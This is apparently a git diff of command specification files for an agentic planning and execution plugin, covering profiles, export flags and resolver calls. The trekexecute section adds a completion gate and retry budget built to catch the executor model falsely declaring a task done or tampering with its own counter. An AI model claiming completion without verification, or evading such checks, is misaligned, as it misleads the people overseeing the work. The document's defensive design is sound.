## Profile (v4.1)
|
||||
|
||||
Accepts `--profile <name>` where `<name>` is one of `economy`, `balanced`,
|
||||
`premium`, or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
`premium`, `fable`, or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
|
||||
Resolution order (per `lib/profiles/resolver.mjs`):
|
||||
1. `--profile` flag (source: `flag`)
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
name: trekcontinue
|
||||
description: Resume the next session in a multi-session trekplan project. Reads .session-state.local.json and immediately begins the next session.
|
||||
argument-hint: "[<project-dir> | --help]"
|
||||
model: opus
|
||||
---
|
||||
|
||||
# Ultracontinue Local v1.0
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
name: trekendsession
|
||||
description: Mark the current session as complete and write session-state pointing at the next session. Helper for informal multi-session flows.
|
||||
argument-hint: "<next-brief-path> <next-label> | --help"
|
||||
model: opus
|
||||
---
|
||||
|
||||
# Voyage End-Session Local v1.0
|
||||
|
|
@ -91,16 +90,16 @@ want an interactive flow, use `/trekcontinue --help` to see the full pipeline.
|
|||
|
||||
## Phase 3 — Atomically write `.session-state.local.json` + sibling NEXT-SESSION-PROMPT.local.md
|
||||
|
||||
Write `<project-dir>/.session-state.local.json` with the schema-v1 object:
|
||||
Write `{project_dir}/.session-state.local.json` with the schema-v1 object:
|
||||
|
||||
```json
|
||||
{
|
||||
"schema_version": 1,
|
||||
"project": "<project-dir>",
|
||||
"next_session_brief_path": "<arg 1>",
|
||||
"next_session_label": "<arg 2>",
|
||||
"project": "{project_dir}",
|
||||
"next_session_brief_path": "{arg 1}",
|
||||
"next_session_label": "{arg 2}",
|
||||
"status": "in_progress",
|
||||
"updated_at": "<now, ISO-8601>"
|
||||
"updated_at": "{now, ISO-8601}"
|
||||
}
|
||||
```
|
||||
|
||||
|
|
@ -115,14 +114,22 @@ Under `node --input-type=module -e "<script>" arg1 arg2 arg3`, Node sets
|
|||
|
||||
This phase ALSO writes a sibling `NEXT-SESSION-PROMPT.local.md` in the
|
||||
project directory with YAML frontmatter (`produced_by: trekendsession`,
|
||||
`produced_at: <ISO-8601>`, `project: <project-dir>`). Both files are written
|
||||
in a single ESM block so the writes succeed or fail together:
|
||||
`produced_at: {ISO-8601}`, `project: {project_dir}`). Both files are written
|
||||
in a single ESM block so the writes succeed or fail together.
|
||||
|
||||
Run the block below via the Bash tool at runtime, substituting the resolved
|
||||
values for the `{curly}` placeholders (Phase 1 gives `{project_dir}`, Phase 2
|
||||
gives `{next_brief_path}` and `{next_label}`). This is NOT an eager-exec
|
||||
block — the values do not exist at command-load time. The import path must
|
||||
stay absolute via `${CLAUDE_PLUGIN_ROOT}` — your Bash cwd is the user's
|
||||
repo, not the plugin root, so a cwd-relative import throws
|
||||
`ERR_MODULE_NOT_FOUND`:
|
||||
|
||||
```bash
|
||||
!`node --input-type=module -e "
|
||||
node --input-type=module -e "
|
||||
import path from 'node:path';
|
||||
import { writeFileSync } from 'node:fs';
|
||||
import { atomicWriteJson } from './lib/util/atomic-write.mjs';
|
||||
import { atomicWriteJson } from '${CLAUDE_PLUGIN_ROOT}/lib/util/atomic-write.mjs';
|
||||
const [, dir, brief, label] = process.argv;
|
||||
const now = new Date().toISOString();
|
||||
const stateObj = { schema_version: 1, project: dir, next_session_brief_path: brief, next_session_label: label, status: 'in_progress', updated_at: now };
|
||||
|
|
@ -133,26 +140,28 @@ const promptBody = '---\\nproduced_by: trekendsession\\nproduced_at: ' + now + '
|
|||
writeFileSync(promptFile, promptBody);
|
||||
console.log(stateFile);
|
||||
console.log(promptFile);
|
||||
" '<project-dir>' '<next-brief-path>' '<next-label>'`
|
||||
" '{project_dir}' '{next_brief_path}' '{next_label}'
|
||||
```
|
||||
|
||||
## Phase 4 — Validate + narrate
|
||||
|
||||
Validate the freshly-written state file:
|
||||
Validate the freshly-written state file via the Bash tool at runtime,
|
||||
substituting the resolved `{project_dir}` (NOT eager-exec — the file does
|
||||
not exist at command-load time):
|
||||
|
||||
```bash
|
||||
!`node lib/validators/session-state-validator.mjs --json <project-dir>/.session-state.local.json`
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/session-state-validator.mjs --json {project_dir}/.session-state.local.json
|
||||
```
|
||||
|
||||
If `valid: true`, print the success block matching `/trekcontinue` Phase 3
|
||||
narration (SC-8 cross-project consistency — same template both sides):
|
||||
|
||||
```
|
||||
Session state written: <project-dir>/.session-state.local.json
|
||||
Session state written: {project_dir}/.session-state.local.json
|
||||
|
||||
Project: <project-dir>
|
||||
Next session: <next-label>
|
||||
Brief: <next-brief-path>
|
||||
Project: {project_dir}
|
||||
Next session: {next_label}
|
||||
Brief: {next_brief_path}
|
||||
|
||||
In a fresh Claude session, run /trekcontinue to resume.
|
||||
```
|
||||
|
|
|
|||
|
|
@ -2,8 +2,8 @@
|
|||
name: trekexecute
|
||||
description: Disciplined plan executor — single-session or multi-session with parallel orchestration, failure recovery, and headless support
|
||||
argument-hint: "[--project <dir>] [--fg | --resume | --dry-run | --validate | --step N | --session N] [plan.md]"
|
||||
model: opus
|
||||
allowed-tools: Read, Write, Edit, Bash, Glob, Grep, AskUserQuestion
|
||||
disallowed-tools: Agent, TeamCreate
|
||||
---
|
||||
|
||||
# Ultraexecute Local
|
||||
|
|
@ -849,12 +849,24 @@ progress file.
|
|||
"steps": {
|
||||
"1": { "status": "pending", "attempts": 0, "error": null, "completed_at": null, "commit": null }
|
||||
},
|
||||
"iterations_remaining": 25,
|
||||
"entry_condition_checked": false,
|
||||
"exit_condition_checked": false,
|
||||
"summary": null
|
||||
}
|
||||
```
|
||||
|
||||
**`iterations_remaining` (v1.7+, additive-optional):** the remaining
|
||||
recovery/retry budget against the global hard cap (unit = **iterations**, per the
|
||||
brief — token/cost budgeting is out of scope). Seeded to
|
||||
`TREKEXECUTE_MAX_RECOVERY_ITERATIONS` (default 25) at start. **Single writer:** the
|
||||
executor decrements it by 1 on **every recovery/retry iteration** — each step
|
||||
attempt beyond the first, and each Phase 7.6 recovery dispatch. **Backfill-on-absent:**
|
||||
when resuming a legacy `progress.json` that lacks the field, seed it to the cap
|
||||
rather than hard-failing (forward/backward-compatible; shape-validated by
|
||||
`progress-validator.mjs` — non-negative integer, never required-top). The field is
|
||||
present in the spec at minimum — there is **no `(if wired)` conditional**.
|
||||
|
||||
### Mode-specific behavior
|
||||
|
||||
**mode = execute (fresh):**
|
||||
|
|
@ -1227,6 +1239,38 @@ Record in progress file:
|
|||
- `manifest_audit.status = "pass" | "drift"`
|
||||
- `manifest_audit.drift_details = [{check, expected, actual}, ...]`
|
||||
|
||||
### Machine-verifiable completion gate (stop-signal contract)
|
||||
|
||||
> **Sealed inline so the termination rule survives even when the executor
|
||||
> model is the very thing it constrains.**
|
||||
>
|
||||
> This is the `machine-verifiable completion gate` (the `stop-signal
|
||||
> contract`): the executor may emit `result: completed` ONLY when BOTH hold —
|
||||
>
|
||||
> 1. **Objective predicate** — the **Phase 7.5** manifest audit (above) PASSED,
|
||||
> re-verified directly from the filesystem + git log, ignoring the executor's
|
||||
> own per-step bookkeeping. "The audit wins"; a self-reported `completed` over
|
||||
> a drifting audit is OVERRIDDEN to `partial` (Phase 7.5, `:1221`).
|
||||
> 2. **Explicit stop-signal** — a signal *distinct from the executor's
|
||||
> self-assessment* is satisfied: the plan's Verify command(s) **passed (exit
|
||||
> 0)** / lint clean / an explicit **DONE token emitted AFTER the Phase 7.5
|
||||
> audit ran** (never before, never in place of it). A transcript that merely
|
||||
> "feels done" is NOT a stop-signal — victory-declaration bias is the exact
|
||||
> failure mode this gate exists to defeat.
|
||||
> 3. **Counter liveness (deterministic, defeats "never decremented")** — the gate
|
||||
> reconciles the budget counter against the ground-truth counters the Phase 7.5
|
||||
> audit already derives:
|
||||
> `iterations_remaining == TREKEXECUTE_MAX_RECOVERY_ITERATIONS − (recovery_depth + Σ steps.*.attempts-beyond-first)`.
|
||||
> A field left un-decremented (or tampered) fails this reconciliation and the
|
||||
> result is OVERRIDDEN `completed → partial`, exactly as the audit-override
|
||||
> already does (`:1221`). So the counter's liveness is auditable at the gate,
|
||||
> not merely asserted in prose.
|
||||
>
|
||||
> Termination authority therefore rests on the deterministic audit + an
|
||||
> objective stop-signal, never on the model's narrative. Native `/goal` (when
|
||||
> capability-probed and wired) is an OPTIONAL accelerator only: transcript-only,
|
||||
> it cannot run the real check, so it can never be the sole gate.
|
||||
|
||||
## Phase 7.6 — Recovery dispatch (multi-session parent context only)
|
||||
|
||||
**Preconditions:**
|
||||
|
|
@ -1273,6 +1317,38 @@ Status: partial (recovery_depth=2, escalated to user)
|
|||
|
||||
Do NOT dispatch a third recovery. Report to the user.
|
||||
|
||||
### Iteration caps + global recovery/retry budget
|
||||
|
||||
Every recovery/retry loop in this executor has a documented numeric bound.
|
||||
These are **three distinct axes** — not one nested counter — plus a separate
|
||||
child turn cap:
|
||||
|
||||
- **Per-step retry cap** — `attempts ≤ 3` (initial + **maximum 2 retries**;
|
||||
Hard Rule 5 / Sub-step E). Bounds the retries of a *single* step.
|
||||
- **Per-session recovery cap** — `recovery_depth < 2` (Phase 7.6 hard cap).
|
||||
Bounds how deep recovery *dispatch* nests.
|
||||
- **Global recovery/retry budget** — a new env-overridable constant
|
||||
`TREKEXECUTE_MAX_RECOVERY_ITERATIONS` (default **25**) — the aggregate ceiling
|
||||
on the **total count of recovery + retry iterations across the whole
|
||||
execution**. This is the case the two caps above do NOT bound: many steps each
|
||||
retrying up to 3× can sum unbounded. It primarily backstops the **retry
|
||||
aggregate** (recovery dispatch is already hard-capped at 2). Surfaced and
|
||||
enforced via the `iterations_remaining` counter (Phase 3 schema; decremented
|
||||
on every recovery/retry iteration; reconciled at the Phase 7.5 completion
|
||||
gate).
|
||||
- **Child turn cap** — `--max-turns` (`TREKEXECUTE_MAX_TURNS`, default 50)
|
||||
bounds model turns inside a single `-p` child; a *different* axis from the
|
||||
three above.
|
||||
|
||||
Default **25** is an independent value from the cap research (practitioner range
|
||||
10–50; OWASP Agentic ASI08 financial-DoS), tuned down from the research ~50
|
||||
starting point for a tighter backstop. It is **not** a reconciliation with
|
||||
`--max-turns` (50) — the axes are incomparable. Operators may override:
|
||||
`TREKEXECUTE_MAX_RECOVERY_ITERATIONS=10 /trekexecute --project ...`. The
|
||||
`effort=='low'` single-foreground-loop path and the wave path are both subject to
|
||||
this aggregate ceiling; it is an execution-spec ceiling (enforced via the
|
||||
`iterations_remaining` counter), not a code-loop edit.
|
||||
|
||||
## Phase 8 — Final report
|
||||
|
||||
Always produce a final report.
|
||||
|
|
@ -1466,6 +1542,7 @@ To resume: /trekexecute --resume {path}
|
|||
"drift_details": [],
|
||||
"recovery_dispatched": false,
|
||||
"recovery_depth": 0,
|
||||
"iterations_remaining": 25,
|
||||
"legacy_plan": false,
|
||||
"progress_file": "{path}"
|
||||
}
|
||||
|
|
@ -1499,7 +1576,7 @@ Never let stats failures block the workflow.
|
|||
## Profile (v4.1)
|
||||
|
||||
Accepts `--profile <name>` where `<name>` is `economy`, `balanced`, `premium`,
|
||||
or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
`fable`, or a custom profile under `voyage-profiles/`. Default: `premium`.
|
||||
|
||||
Resolution order (per `lib/profiles/resolver.mjs`):
|
||||
1. `--profile` flag (source: `flag`)
|
||||
|
|
@ -1531,12 +1608,25 @@ model_for_phase = brief.phase_signals[<phase>]?.model ?? profile.phase_models[
|
|||
```
|
||||
|
||||
The brief signal wins per-phase when present; the profile fills any
|
||||
gaps. Composition is mechanically resolved via
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs`
|
||||
invoked in Phase 2.4; the resolved JSON is captured as `phase_signal_result`
|
||||
and consumed when picking the orchestration model + parallel-wave
|
||||
strategy. The resolver controls only the orchestrator — sub-agents read
|
||||
`model:` from their own `agents/*.md` frontmatter (still pinned to `opus`).
|
||||
gaps. Both fields are mechanically resolved by the single composed CLI,
|
||||
invoked in Phase 2.4 alongside the sequencing-gate brief-validator call:
|
||||
|
||||
```bash
|
||||
# v5.9 — composed phase-model resolution (brief > profile > default) for the
|
||||
# execute phase. ONE call returns {effort, model, source}; captured as
|
||||
# phase_signal_result. Append --profile {profile} when the operator passed
|
||||
# --profile.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model --phase execute --brief-path "{dir}/brief.md" [--profile {profile}] --json
|
||||
```
|
||||
|
||||
`phase_signal_result.effort` is consumed when picking the execution
|
||||
strategy (gates auto-escalation, parallel-wave choice — see High-effort
|
||||
behavior below). The resolver does NOT control the orchestrator's own
|
||||
model — that is fixed at invocation time (command frontmatter omits
|
||||
`model:`, so it follows the session model) and cannot be switched mid-turn.
|
||||
`/trekexecute` spawns no sub-agent swarm (Hard Rule 10), so
|
||||
`phase_signal_result.model` has no spawn site here; it is returned for
|
||||
cross-command uniformity and stats.
|
||||
|
||||
For `/trekexecute` specifically: `effort == 'low'` activates `--gates open`
|
||||
+ sequential-only execution (no worktree-isolated parallel waves — runs
|
||||
|
|
@ -1606,7 +1696,10 @@ code-path.
|
|||
9. **Progress file is ground truth.** Resume uses the progress file, not git log.
|
||||
|
||||
10. **No sub-agents.** The executor reads and implements directly.
|
||||
No Agent tool, no TeamCreate, no delegation.
|
||||
No Agent tool, no TeamCreate, no delegation. Enforced (not just
|
||||
documented) via `disallowed-tools: Agent, TeamCreate` in the frontmatter,
|
||||
which removes both tools from the pool — `allowed-tools` alone does not,
|
||||
since omission leaves a tool callable (CC 2.1.152).
|
||||
|
||||
11. **Worktree isolation is mandatory for parallel execution.** Every parallel
|
||||
`claude -p` session MUST run in its own git worktree. Never launch two or
|
||||
|
|
@ -1653,12 +1746,16 @@ code-path.
|
|||
v1.6 plans: synthesized manifests apply with the same force, but
|
||||
`legacy_plan: true` is logged in progress.
|
||||
|
||||
18. **Last-activity rule.** The executor's final tool call before writing
|
||||
Phase 8 must be a manifest check (Phase 7.5 audit), never an arbitrary
|
||||
18. **Last-activity rule + stop-signal.** The executor's final tool call before
|
||||
writing Phase 8 must be a manifest check (Phase 7.5 audit), never an arbitrary
|
||||
file review. This prevents the "hallucinated completion" failure mode
|
||||
where a transcript ends on an unrelated Read and the agent self-reports
|
||||
`completed` without verifying. If Phase 7.5 has not run, the executor
|
||||
may not emit `result: completed` under any circumstances.
|
||||
may not emit `result: completed` under any circumstances. Beyond that:
|
||||
`result: completed` requires the **machine-verifiable completion gate**
|
||||
(the **stop-signal contract**, Phase 7.5) satisfied in full — Phase 7.5
|
||||
audit PASS **and** an objective stop-signal (Verify exit 0 / DONE token
|
||||
emitted AFTER the audit), never executor self-assessment alone.
|
||||
|
||||
19. **push-before-cleanup.** After successful `git merge --no-ff` of a wave
|
||||
branch, run `git push origin <branch>` BEFORE `git worktree remove` and
|
||||
|
|
@ -1666,3 +1763,10 @@ code-path.
|
|||
cleanup proceeds regardless. Rationale: this converts an unrecoverable
|
||||
failure (worktree removed, branch deleted, work lost) into a recoverable
|
||||
one (push succeeded, branch preserved on remote). Source: research/02 R3.
|
||||
|
||||
20. **Three distinct iteration axes.** Per-step `attempts` (≤3), per-session
|
||||
`recovery_depth` (<2), and the global `TREKEXECUTE_MAX_RECOVERY_ITERATIONS`
|
||||
budget (default 25 — aggregate recovery+retry backstop) are independent
|
||||
bounds, not one nested counter; child `--max-turns` (50) is a fourth,
|
||||
separate axis. Every recovery/retry loop is bounded by at least one of them.
|
||||
See "Iteration caps + global recovery/retry budget".
|
||||
|
|
|
|||
|
|
@ -1,8 +1,7 @@
|
|||
---
|
||||
name: trekplan
|
||||
description: Deep implementation planning from a task brief. Requires --brief or --project. Runs parallel specialized agents, optional external research, and adversarial review.
|
||||
argument-hint: "--brief <path> | --project <dir> [--fg | --quick | --research <brief> | --decompose <plan> | --export <fmt> <plan>]"
|
||||
model: opus
|
||||
argument-hint: "--brief <path> | --project <dir> [--fg | --quick | --research <brief> | --decompose <plan> | --export headless <plan>]"
|
||||
allowed-tools: Agent, Read, Glob, Grep, Write, Edit, Bash, AskUserQuestion, TaskCreate, TaskUpdate, TeamCreate, TeamDelete
|
||||
---
|
||||
|
||||
|
|
@ -30,13 +29,19 @@ Pipeline position:
|
|||
|
||||
Parse `$ARGUMENTS` for mode flags. Order of precedence:
|
||||
|
||||
1. **`--export <format> <plan-path>`** — extract `{format}` (first token after
|
||||
`--export`) and `{plan-path}` (remainder). Valid formats: `pr`, `issue`,
|
||||
`markdown`, `headless`. Set **mode = export**.
|
||||
1. **`--export headless <plan-path>`** — extract `{format}` (first token after
|
||||
`--export`) and `{plan-path}` (remainder). `headless` is the only export
|
||||
format; it is a backwards-compatible **alias for `--decompose`**. Set
|
||||
**mode = decompose** and run the decomposition pipeline (Phase 1.5).
|
||||
|
||||
If format is not in the valid set:
|
||||
The PR / issue / markdown export variants were removed — Claude Code
|
||||
reformats a plan into a PR body, issue comment, or stripped markdown
|
||||
ad-hoc on request, so a dedicated export path added maintenance without
|
||||
value. If `{format}` is anything other than `headless`:
|
||||
```
|
||||
Error: unknown export format '{format}'. Valid: pr, issue, markdown, headless
|
||||
Error: export format '{format}' is not supported. The only export is
|
||||
'headless' (an alias for --decompose). For PR / issue / markdown output,
|
||||
ask Claude to reformat the plan directly.
|
||||
```
|
||||
If the plan file does not exist:
|
||||
```
|
||||
|
|
@ -63,13 +68,17 @@ Parse `$ARGUMENTS` for mode flags. Order of precedence:
|
|||
- Set **project_dir = {dir}**, **brief_path = {dir}/brief.md**.
|
||||
- **Validate inputs** (soft mode — warnings do not block, errors do):
|
||||
```bash
|
||||
# Brief schema sanity check (frontmatter + state machine, soft on body sections)
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/brief-validator.mjs --soft --json "{dir}/brief.md"
|
||||
# Brief schema sanity check (frontmatter + state machine, soft on body sections).
|
||||
# When --min-brief-version was passed, append --min-version {min_brief_version}
|
||||
# so the validator emits BRIEF_VERSION_BELOW_MINIMUM (warn, never block) for an
|
||||
# older brief that sidesteps framing enforcement.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/brief-validator.mjs --soft --json [--min-version {min_brief_version}] "{dir}/brief.md"
|
||||
|
||||
# v5.1.1 — resolve per-phase brief-signal for plan phase. Result is
|
||||
# captured as phase_signal_result and used at Agent-spawn sites below
|
||||
# to override the orchestrator model when a signal is present.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/phase-signal-resolver.mjs --brief "{dir}/brief.md" --phase plan --json
|
||||
# v5.9 — composed phase-model resolution (brief > profile > default) for
|
||||
# the plan phase. ONE call returns {effort, model, source}; captured as
|
||||
# phase_signal_result and injected at Agent-spawn sites below.
|
||||
# Append --profile {profile} when the operator passed --profile.
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/profiles/resolver.mjs --resolve-phase-model --phase plan --brief-path "{dir}/brief.md" [--profile {profile}] --json
|
||||
|
||||
# Research briefs (if any) — drift-warn only, none of these block the run
|
||||
[ -d "{dir}/research" ] && \
|
||||
|
|
@ -120,7 +129,15 @@ Parse `$ARGUMENTS` for mode flags. Order of precedence:
|
|||
autonomy-gate state machine via the CLI shim:
|
||||
`node ${CLAUDE_PLUGIN_ROOT}/lib/util/autonomy-gate.mjs --state X --event Y --gates {true|false}`.
|
||||
|
||||
9. If neither `--brief` nor `--project` is present after flag parsing,
|
||||
9. **`--min-brief-version <ver>`** — (optional) version floor. Set
|
||||
**min_brief_version = {ver}** (e.g. `2.2`). Forwarded to the brief-validator
|
||||
as `--min-version {ver}`; when the brief declares an older version it emits a
|
||||
`BRIEF_VERSION_BELOW_MINIMUM` **warning** (never blocks) — framing enforcement
|
||||
only fires at `≥ 2.2`, so an older brief sidesteps the framing-alignment
|
||||
defense silently. Absent → no version check. See `docs/HANDOVER-CONTRACTS.md`
|
||||
§Handover 1 for the pre-2.2 enforcement hole this guards.
|
||||
|
||||
10. If neither `--brief` nor `--project` is present after flag parsing,
|
||||
output usage and stop:
|
||||
|
||||
```
|
||||
|
|
@ -129,7 +146,7 @@ Usage: /trekplan --brief <path-to-brief.md>
|
|||
/trekplan --brief <path> --research <research-brief.md>
|
||||
/trekplan --project <dir> --fg
|
||||
/trekplan --project <dir> --quick
|
||||
/trekplan --export <pr|issue|markdown|headless> <plan-path>
|
||||
/trekplan --export headless <plan-path>
|
||||
/trekplan --decompose <plan-path>
|
||||
|
||||
A brief is required. Produce one with /trekbrief first.
|
||||
|
|
@ -140,7 +157,8 @@ Modes:
|
|||
--research Add up to 3 extra research briefs as planning context
|
||||
--fg No-op alias (foreground is the only mode as of v2.4.0)
|
||||
--quick Skip exploration agent swarm; plan directly
|
||||
--export Generate shareable output from an existing plan (no new planning)
|
||||
--min-brief-version <ver> Warn (never block) if the brief is older than <ver> (e.g. 2.2)
|
||||
--export headless Legacy alias for --decompose (the only remaining export format)
|
||||
--decompose Split an existing plan into self-contained headless sessions
|
||||
|
||||
Examples:
|
||||
|
|
@ -148,7 +166,7 @@ Examples:
|
|||
/trekplan --brief .claude/projects/2026-04-18-jwt-auth/brief.md
|
||||
/trekplan --project .claude/projects/2026-04-18-jwt-auth --research extra.md
|
||||
/trekplan --project .claude/projects/2026-04-18-jwt-auth --fg
|
||||
/trekplan --export pr .claude/plans/trekplan-2026-04-06-rate-limiting.md
|
||||
/trekplan --export headless .claude/plans/trekplan-2026-04-06-rate-limiting.md
|
||||
/trekplan --decompose .claude/plans/trekplan-2026-04-06-rate-limiting.md
|
||||
|
||||
Migrating from v1.x? See MIGRATION.md in this plugin. The old --spec flag
|
||||
|
|
@ -175,7 +193,7 @@ If `research_status == pending` and `research_topics > 0`:
|
|||
|
||||
Report the detected mode:
|
||||
```
|
||||
Mode: {foreground | quick | export | decompose}
|
||||
Mode: {foreground | quick | decompose}
|
||||
Brief: {brief_path}
|
||||
Project: {project_dir or "-"}
|
||||
Research: {N local briefs, M extra via --research}
|
||||
|
|
@ -221,89 +239,10 @@ If `fm.type === 'trekreview'`:
|
|||
`type: brief` input simply omit the field. No `plan_version` bump is
|
||||
required for this addition (backwards compatible).
|
||||
|
||||
## Phase 1.5 — Export (runs only when mode = export)
|
||||
## Phase 1.5 — Decompose (runs only when mode = decompose)
|
||||
|
||||
**Skip this phase entirely unless mode = export.**
|
||||
|
||||
Read the plan file. Extract these sections from the plan content:
|
||||
- Task description (from Context section)
|
||||
- Implementation steps (from Implementation Plan section)
|
||||
- Risks (from Risks and Mitigations section)
|
||||
- Test strategy (from Test Strategy section, if present)
|
||||
- Scope estimate (from Estimated Scope section)
|
||||
|
||||
### Format: `pr`
|
||||
|
||||
Output a markdown block formatted as a PR description:
|
||||
|
||||
```
|
||||
## Summary
|
||||
|
||||
{2–3 sentence summary of what this change does and why}
|
||||
|
||||
## Changes
|
||||
|
||||
{Bulleted list of implementation steps, one line each}
|
||||
|
||||
## Test plan
|
||||
|
||||
{Bulleted checklist from test strategy, formatted as - [ ] items}
|
||||
|
||||
## Risks
|
||||
|
||||
{Risks from plan, abbreviated to 1 line each}
|
||||
|
||||
---
|
||||
*Generated by trekplan from {plan filename}*
|
||||
```
|
||||
|
||||
### Format: `issue`
|
||||
|
||||
Output a markdown block formatted as an issue comment:
|
||||
|
||||
```
|
||||
## Implementation plan summary
|
||||
|
||||
**Task:** {task description}
|
||||
**Plan file:** {plan path}
|
||||
**Scope:** {N files, complexity}
|
||||
|
||||
### Proposed approach
|
||||
{3–5 bullet points from key implementation steps}
|
||||
|
||||
### Open questions / risks
|
||||
{Top 2–3 risks from plan}
|
||||
|
||||
---
|
||||
*Generated by trekplan*
|
||||
```
|
||||
|
||||
### Format: `markdown`
|
||||
|
||||
Output the plan content with internal metadata stripped:
|
||||
- Remove the "Revisions" section
|
||||
- Remove plan-critic and scope-guardian scores/verdicts
|
||||
- Remove `[ASSUMPTION]` markers (but keep the surrounding sentence)
|
||||
- Keep everything else verbatim
|
||||
|
||||
### Format: `headless`
|
||||
|
||||
This is a shortcut for `--decompose`. It runs the full session decomposition
|
||||
pipeline and is equivalent to `--decompose {plan-path}`. Proceed to
|
||||
Phase 1.6 (Decompose) below.
|
||||
|
||||
---
|
||||
|
||||
After outputting the formatted block (for pr/issue/markdown), say:
|
||||
```
|
||||
Export complete ({format}). Copy the block above.
|
||||
```
|
||||
|
||||
Then **stop**. Do not continue to any subsequent phase.
|
||||
|
||||
## Phase 1.6 — Decompose (runs only when mode = decompose or export headless)
|
||||
|
||||
**Skip this phase entirely unless mode = decompose or export format = headless.**
|
||||
**Skip this phase entirely unless mode = decompose.** (`--export headless` is a
|
||||
backwards-compatible alias that sets mode = decompose, so it lands here too.)
|
||||
|
||||
Read the plan file. Verify it contains an Implementation Plan section with
|
||||
numbered steps. If no steps are found, report and stop:
|
||||
|
|
@ -396,14 +335,17 @@ Planning pipeline running in foreground.
|
|||
|
||||
Then continue to the next phase inline.
|
||||
|
||||
> **Why foreground?** As of v2.4.0 the planning-orchestrator is no longer
|
||||
> spawned as a background agent. The Claude Code harness does not expose the
|
||||
> Agent tool to sub-agents, so an orchestrator launched with
|
||||
> `run_in_background: true` cannot spawn the documented exploration swarm
|
||||
> (`architecture-mapper`, `task-finder`, `plan-critic`, etc.) and silently
|
||||
> degrades to single-context reasoning. Running the phases inline in main
|
||||
> context keeps the swarm intact. Use `claude -p` in a separate terminal
|
||||
> window for long-running headless work.
|
||||
> **Why foreground (for now)?** The planning-orchestrator was moved out of
|
||||
> background mode in v2.4.0 because, before Claude Code 2.1.172, the harness
|
||||
> did not expose the Agent tool to sub-agents, so an orchestrator launched
|
||||
> with `run_in_background: true` could not spawn the documented exploration
|
||||
> swarm (`architecture-mapper`, `task-finder`, `plan-critic`, etc.) and
|
||||
> silently degraded to single-context reasoning. As of CC 2.1.172 sub-agents
|
||||
> can spawn sub-agents (up to 5 levels deep), so that block no longer holds —
|
||||
> a delegated redesign is under evaluation (see
|
||||
> `docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then, running
|
||||
> the phases inline in main context keeps the swarm intact. Use `claude -p`
|
||||
> in a separate terminal window for long-running headless work.
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -568,7 +510,7 @@ Do NOT write this synthesis to disk. It is internal working context only.
|
|||
## Phase 8 — Deep planning
|
||||
|
||||
> **Schema-drift defense (sealed inline so this contract survives even when
|
||||
> `agents/planning-orchestrator.md` is not implicitly loaded by Opus 4.7).**
|
||||
> `agents/planning-orchestrator.md` is not implicitly loaded by Opus 4.8).**
|
||||
>
|
||||
> The plan you write MUST satisfy these regexes. The executor parses with
|
||||
> strict regex matching; any deviation breaks parsing and forces a re-plan.
|
||||
|
|
@ -697,8 +639,9 @@ Prompt: "Review this implementation plan for the task: {task}.
|
|||
Plan file: {plan path}. Read it and find every problem — missing steps,
|
||||
wrong ordering, fragile assumptions, missing error handling, scope creep,
|
||||
underspecified steps. Rate each finding as blocker, major, or minor.
|
||||
Write the structured JSON output to `/tmp/plan-critic-out.json` so the
|
||||
dedup helper can merge with scope-guardian's findings."
|
||||
End your response with the REQUIRED machine-readable `json` findings block
|
||||
(schema in `agents/plan-critic.md`) so the orchestrator can pipe it to the
|
||||
dedup helper. You have no Write tool — return the block inline, do not write a file."
|
||||
|
||||
**scope-guardian** — scope alignment check.
|
||||
Prompt: "Check this implementation plan against the brief.
|
||||
|
|
@ -706,23 +649,28 @@ Task: {task}. Brief file: {brief_path}. Plan file: {plan path}.
|
|||
Find scope creep (plan does more than the brief requires) and scope gaps
|
||||
(plan misses brief requirements). Check that referenced files and functions
|
||||
exist. Verify that every Success Criterion in the brief is covered by the
|
||||
plan's Verification section. Write structured JSON output to
|
||||
`/tmp/scope-guardian-out.json`."
|
||||
plan's Verification section. End your response with the REQUIRED machine-readable
|
||||
`json` findings block (schema in `agents/scope-guardian.md`). You have no Write
|
||||
tool — return the block inline, do not write a file."
|
||||
|
||||
After both complete, run an inline dedup pass:
|
||||
After both complete, **extract each reviewer's trailing `json` findings block**
|
||||
and pipe both into the dedup helper via **stdin** — the reviewers are read-only
|
||||
(`Read/Glob/Grep`, no `Write`), so they cannot persist temp files; the
|
||||
orchestrator does the persistence by piping their inline blocks:
|
||||
|
||||
```bash
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/review/plan-review-dedup.mjs \
|
||||
--plan-critic /tmp/plan-critic-out.json \
|
||||
--scope-guardian /tmp/scope-guardian-out.json \
|
||||
> /tmp/plan-review-merged.json
|
||||
node ${CLAUDE_PLUGIN_ROOT}/lib/review/plan-review-dedup.mjs --stdin <<'JSON'
|
||||
{ "plan_critic": <plan-critic's json block>, "scope_guardian": <scope-guardian's json block> }
|
||||
JSON
|
||||
```
|
||||
|
||||
The merged array attributes each finding to `[plan-critic, scope-guardian]`
|
||||
when both reviewers raised the same issue (exact match on
|
||||
`file:line:rule_key`, or Jaccard ≥ 0.7 on text tokens). Revise the plan
|
||||
once for the merged set, not twice for the duplicates. Source: research/05
|
||||
R1 + R2.
|
||||
The helper **exits non-zero on malformed stdin** — a broken hand-off surfaces
|
||||
loudly instead of collapsing into a silently-empty merge (the historical Phase-9
|
||||
defect, where the read-only reviewers never wrote the files and the dedup ran on
|
||||
nothing). The merged array attributes each finding to `[plan-critic, scope-guardian]`
|
||||
when both reviewers raised the same issue (exact match on `file:line:rule_key`,
|
||||
or Jaccard ≥ 0.7 on text tokens). Revise the plan once for the merged set, not
|
||||
twice for the duplicates. Source: research/05 R1 + R2.
|
||||
|
||||
After both complete:
|
||||
- If **blockers** are found: revise the plan to address them. Add a "Revisions"
|
||||
|
|
